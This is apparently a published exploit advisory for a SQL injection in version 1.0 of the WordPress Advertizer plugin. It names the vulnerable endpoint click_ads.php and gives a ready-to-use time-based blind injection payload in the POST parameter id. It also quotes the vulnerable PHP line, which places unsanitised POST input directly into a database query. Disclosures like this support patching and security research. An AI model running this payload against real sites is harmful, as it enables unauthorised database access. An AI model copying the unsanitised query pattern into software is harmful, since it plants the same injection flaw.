WordPress Plugin Advertizer 1.0 - SQL Injection

# Exploit Title: WordPress Advertizer plugin <= 1.0 SQL Injection Vulnerability
# Date: 2011-08-29
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/advertizer.1.0.zip
# Version: 1.0 (tested)
# Note: magic_quotes has to be turned off

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PoC (POST data)
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http://www.site.com/wp-content/plugins/advertizer/click_ads.php
 id=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

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Vulnerable code
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$res = $wpdb->get_row("SELECT `limit_clicks`, `trace_clicks` FROM `".$wpdb->prefix."adv_v_base` WHERE `id` = '".$_POST[id]."' limit 1;");